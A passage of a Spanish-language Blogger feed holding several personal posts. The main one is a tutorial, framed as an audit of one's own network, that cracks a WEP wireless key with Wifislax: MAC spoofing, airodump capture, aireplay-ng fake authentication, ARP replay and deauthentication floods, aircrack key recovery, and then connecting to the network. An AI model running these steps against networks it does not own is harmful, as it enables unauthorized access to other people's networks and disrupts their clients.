/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="color:#33cc00;"&gt;&lt;strong&gt;key found!&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:times new roman;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-6639023772620358596?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/6639023772620358596/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=6639023772620358596' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/6639023772620358596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/6639023772620358596'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2010/07/auditoria-de-redes-inalambricas.html' title='Auditoria de redes inalámbricas (simplificado)'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-6067792246949638580</id><published>2009-11-27T08:52:00.002-06:00</published><updated>2009-11-27T08:55:30.883-06:00</updated><title type='text'>Las cadenitas o los FWD's</title><content type='html'>¿Qué tal?&lt;br /&gt;&lt;br /&gt;Oye, por favor, cuando mandes cadenitas (que nunca leo), no pongas a la vista toooodas las direcciones de correo.&lt;br /&gt;&lt;br /&gt;Así promueves el spam. ¿Cómo? Mira así:&lt;br /&gt;&lt;br /&gt;Los hackers crean las mentadas cadenitas con el fin de ir obteniendo más y más direcciones email, como ahí, al final de cualquier cadenita que recibas, verás. Es bien fácil: sólo basta un copy paste y ya está. Luego no te sorprendas que tu correo se vea inundado de publicidad o de engañar a la gente con correos de promociones telcel donde buscan sacarte la info de tu tarjeta de crédito y vaciarla.-&lt;br /&gt;&lt;br /&gt;Cuando envías una cadenita, más que entretener, pones en peligro a tus amigos, familiares y a ti misma(o). Por favor, ya no hagas eso. ¡Ay, Doctor(a)!&lt;br /&gt;Pero el daño ya está hecho.&lt;br /&gt;&lt;br /&gt;chale, Ich.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-6067792246949638580?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/6067792246949638580/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=6067792246949638580' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/6067792246949638580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/6067792246949638580'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2009/11/las-cadenitas-o-los-fwds.html' title='Las cadenitas o los FWD&apos;s'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-3158003698155924009</id><published>2009-08-18T21:58:00.002-05:00</published><updated>2009-08-18T22:03:31.340-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wifislax'/><title type='text'>Wifislax Live en tu USB</title><content type='html'>Ahora que están de moda las &lt;em&gt;netbook&lt;/em&gt;s o &lt;em&gt;mini lap-top&lt;/em&gt;s, se puede seguir utilizando el wifislax booteándolo o arrancándolo desde una USB (dado el hecho de que las mini lap-tops no cuentan con lector de CD o DVD ROM; a menos que Usted adquiera uno externo).&lt;br /&gt;&lt;br /&gt;Para hacerlo, en su USB copie las dos carpetas que vienen en el CD (la carpeta &lt;em&gt;boot&lt;/em&gt; y la de &lt;em&gt;Wifislax&lt;/em&gt;) a la USB. Una vez copiadas esas carpetas, nos vamos a la de &lt;em&gt;boot&lt;/em&gt; y ejecutamos o damos doble clic en el archivo &lt;em&gt;bootinst.bat&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Listo, ahora arrancamos nuestra mini desde la USB.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-3158003698155924009?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/3158003698155924009/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=3158003698155924009' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/3158003698155924009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/3158003698155924009'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2009/08/wifislax-live-en-tu-usb.html' title='Wifislax Live en tu USB'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-8705015253590939162</id><published>2008-09-02T18:37:00.003-05:00</published><updated>2009-01-22T19:37:34.425-06:00</updated><title type='text'>Auditoría de una red inalámbrica.</title><content type='html'>&lt;p&gt;&lt;strong&gt;Introducción.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;La seguridad en una red inalámbrica adquiere una mayor relevancia desde que ésta está en el aire (es decir, que la señal fluye en el medioambiente) al alcance de cualquier dispositivo que la detecte.&lt;br /&gt;&lt;br /&gt;Esta sección presenta el cómo se pueden detectar las posibles vulnerabilidades que nuestra red pueda presentar.&lt;br /&gt;&lt;br /&gt;También existe la cuestión ética de utilizar la siguiente información que se va a presentar con fines meramente de estudio y/o detección de vulnerabilidades de una cierta red inalámbrica con el fin de poder mejorar la seguridad y, por ende, evitar un mal uso de nuestra red por parte de personas ajenas.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Material a utilizar.&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Software wifislax live CD (de preferencia la versión 3.1, googleando Usted la encontrará). &lt;/li&gt;&lt;li&gt;Una Lap-Top.&lt;/li&gt;&lt;li&gt;Una tarjeta inalámbrica PCMCIA Airlink 101 wireless card bus adapter AWL-c4130 Chipset Atheros.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;&lt;strong&gt;Haciendo la auditoría.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Hay que arrancar la computadora con el CD de wifislax. Si ésta no arranca, entonces habrá que modificar desde el &lt;em&gt;bios&lt;/em&gt; el arranque desde CD.&lt;br /&gt;&lt;br /&gt;Al arrancar el CD, Linux nos pedirá algunos parámetros, simplemente damos &lt;em&gt;enter&lt;/em&gt;. En wifislax 3.1 nos mostrará después un menú sobre en qué modo deberá arrancar wifislax, simplemente volvemos a dar &lt;em&gt;enter&lt;/em&gt; (puesto que se elige la opción que está elegida por default) y entonces hay que esperar a que arranque el sistema.&lt;br /&gt;&lt;br /&gt;Ya que termina de arrancar, se nos mostrará una pantalla de bienvenida y tendremos el cursor a nuestra disposición (precedido del símbolo #). En esa misma pantalla se nos indica cómo entrar a la sesión. De la manera en que se nos indica, el nombre de usuario es &lt;em&gt;root&lt;/em&gt; y la contraseña es &lt;em&gt;toor&lt;/em&gt;. Una vez autentificados, procedemos a teclear sobre la línea de comandos &lt;em&gt;startx&lt;/em&gt; el cual nos permite visualizar a wifislax de manera gráfica (o más amigable, como si usáramos &lt;em&gt;Windows XP Service Pack 3&lt;/em&gt;).&lt;br /&gt;&lt;br /&gt;Estando ya dentro del ambiente gráfico, damos clic en el menú de inicio (simbolizado por una &lt;em&gt;&lt;strong&gt;s&lt;/strong&gt;&lt;/em&gt;) y nos vamos al menú y seleccionamos &lt;em&gt;wifislax&lt;/em&gt;, &lt;em&gt;asistencia chipset&lt;/em&gt;, &lt;em&gt;asistencia chipset Atheros&lt;/em&gt;, &lt;em&gt;modo monitor&lt;/em&gt;. Después se nos abrirá una ventana indicándonos que ya está en modo monitor la tarjeta inalámbrica. Ahora volvemos al mismo menú wifislax, herramientas wireless, &lt;em&gt;mac changer&lt;/em&gt;. Al seleccionar esto, se nos mostrará una ventanita y ahí elegimos &lt;em&gt;ath0&lt;/em&gt; (se refiere a la tarjeta inalámbrica como dispositivo) y dejamos la dirección mac por default (00:11:22:33:44:55). Le damos en aceptar y se nos mostrará en otra ventana que ha cambiado de mac. Volvemos entonces a la primera ventana que se abrió y tecleamos sobre la línea de comandos lo siguiente con el fin de corroborar que la dirección mac ha sido efectivamente modificada:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# ifconfig ath0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y en esa misma ventana se nos mostrará si la dirección ha sido modificada. Para nuestro caso esto sí pasó. Ahora procedemos a “levantar” la tarjeta inalámbrica. En esa misma ventana tecleamos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# ifconfig ath0 up&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Y notaremos inmediatamente que la tarjeta se enciende.&lt;br /&gt;&lt;br /&gt;Vamos al menú y seleccionamos &lt;em&gt;wifislax&lt;/em&gt;, &lt;em&gt;suite clásica&lt;/em&gt;, &lt;em&gt;airodump&lt;/em&gt;. De ahí se nos aparecerá una ventanita y seleccionamos &lt;em&gt;ath0&lt;/em&gt; y en el nombre de archivo ponemos en este caso captura. Terminado esto, se aparecerá una nueva pantalla en la que se mostrarán las redes que están disponibles. Esto nos indica que wifislax está ya escaneando las redes o detectándolas. Nuestro objetivo principal es obtener datos en donde dice &lt;span style="font-family:courier new;"&gt;#data&lt;/span&gt;. Si se está utilizando el wifislax 3.1 sólo nos bastará con obtener desde 12,000 IVs (Vectores de inicialización ó #data). Si se utiliza una versión anterior, entonces se tendrán que obtener mínimo 700,000 IVs. esto se debe a que la nueva versión contiene un nuevo algoritmo optimizado de aircrack que obtiene la llave con menos IVs el cual se incluye en el comando &lt;em&gt;aircrack-ptw&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Ahora abrimos una nueva consola, por ejemplo, del menú principal seleccionamos &lt;em&gt;shell comand&lt;/em&gt;, Linux. Una vez más que se ha seleccionados la red inalámbrica a &lt;em&gt;auditar&lt;/em&gt;, sobre la línea de comandos, tecleamos lo siguiente (cabe aclarar que donde dice 00:11:22 ... es la dirección MAC de nuestra tarjeta inalámbrica y es esa puesto que le cambiamos la dirección MAC):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# aireplay-ng ath0 --fakeauth 135 -e [nombre_del_AP] -a [MAC_del_AP] -h 00:11:22:33:44:55&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esperamos a que wifislax logre autentificarse y asociarse al AP (Access Point). De no ser así, hay que repetir el comando, tan sólo presionando la flecha hacia arriba, se nos muestra los comandos anteriormente tecleados, y volvemos a intentar. Cuando se vea en pantalla el mensaje de &lt;em&gt;association successfull :-)&lt;/em&gt;, &lt;em&gt;sending keep-alive package&lt;/em&gt;, significa que ya estamos asociados al AP. Posiblemente se pueda ya percibir que ya se están capturando paquetes (en donde dice &lt;span style="font-family:courier new;"&gt;#data&lt;/span&gt; de la ventana de &lt;em&gt;airodump&lt;/em&gt;).&lt;br /&gt;&lt;br /&gt;De ser así o no, lo que se puede hacer, es acelerar el número de paquetes capturados, para eso, abrimos otra ventana de comandos y tecleamos lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;#aireplay-ng ath0 --arpreplay -e [nombre_del_AP] -b [MAC_del_AP] -h 00:11:22:33:44:55 -x 1000&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Aquí sin duda notaremos que el proceso de capturar paquetes se está llevando a cabo. Pero todavía podemos acelerar aún más la captura de paquetes, para ello tecleamos ahora lo siguiente en otra línea de comandos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#aireplay-ng ath0 --deauth 0 -e [Nombre_del_AP] -a [MAC_del_AP] -h 00:11:22:33:44:55&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Si estamos manejando el wifislax 3.1 podemos empezar a obtener la llave. Abrimos una nueva ventana de comandos y nos vamos al directorio&lt;em&gt; swireless&lt;/em&gt; y buscamos el archivo &lt;em&gt;captura.cap&lt;/em&gt; que es el nombre que tecleamos al abrir el &lt;em&gt;airodump &lt;/em&gt;(por default). Una vez estando en ese directorio, tecleamos lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#aircrack-ptw captura.cap&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y esperando algunos instantes ¡la llave del AP se mostrará!&lt;/p&gt;&lt;p&gt;En mi experiencia personal, se puede encontrar la llave o clave a partir de 14000 IV's pero también existen casos en los que se necesitan unos 22000 IV's. Esto depende de qué tan útiles son los datos obtenidos para poder deducir estadísticamente cuál es la llave.&lt;br /&gt;&lt;br /&gt;En caso de que se esté utilizando una versión previa del wifislax se debe teclear lo siguiente (para esta versión, recuérdese que se debe tener por lo menos 200,000 IV's o más. Tenga paciencia):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#aircrack-ng -a 1 -i 1 -n 64 captura.cap&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Y se deberá esperar hasta encontrar la llave. Si no se logra, entonces hay que volver a intentar cuando se tengan más datos capturados.&lt;br /&gt;&lt;br /&gt;Para ver que la llave funciona, podemos intentar conectarnos. Mediante consola abrimos una nueva ventana de consola (ya podemos cerrar las otras ventanas) tecleamos en la línea de comandos lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#iwconfig ath0 mode Manager Key [la_clave_del_AP]&lt;br /&gt;&lt;br /&gt;#dhcpcd ath0&lt;br /&gt;&lt;br /&gt;#ifconfig ath0&lt;br /&gt;&lt;br /&gt;#ping &lt;a href="http://www.google.com/"&gt;www.google.com&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt; &lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt; &lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;Como siempre, cuando uno escribe un tutorial, se pueden encontrar errores. Si es así, tómese la molestia de indicarme los errores u otra opinión dejando su comentario. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt; &lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;¡DE NADA!&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-8705015253590939162?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/8705015253590939162/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=8705015253590939162' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/8705015253590939162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/8705015253590939162'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2008/09/auditora-de-una-red-inalmbrica.html' title='Auditoría de una red inalámbrica.'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-1319552853162966125</id><published>2008-07-02T11:38:00.001-05:00</published><updated>2008-12-11T07:13:20.740-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phänomenal egal'/><title type='text'>Phänomenal Egal</title><content type='html'>&lt;a href="http://www.youtube.com/watch?v=IbOT3ujVrwc"&gt;&lt;img id="BLOGGER_PHOTO_ID_5218458708854359954" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_jw3j6grDn9w/SGuwjBBOx5I/AAAAAAAAAAM/9O3sleWP864/s320/DSC05272.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;Canté una canción en alemán ...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-1319552853162966125?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/1319552853162966125/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=1319552853162966125' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/1319552853162966125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/1319552853162966125'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2008/07/phnomenal-egal.html' title='Phänomenal Egal'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_jw3j6grDn9w/SGuwjBBOx5I/AAAAAAAAAAM/9O3sleWP864/s72-c/DSC05272.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
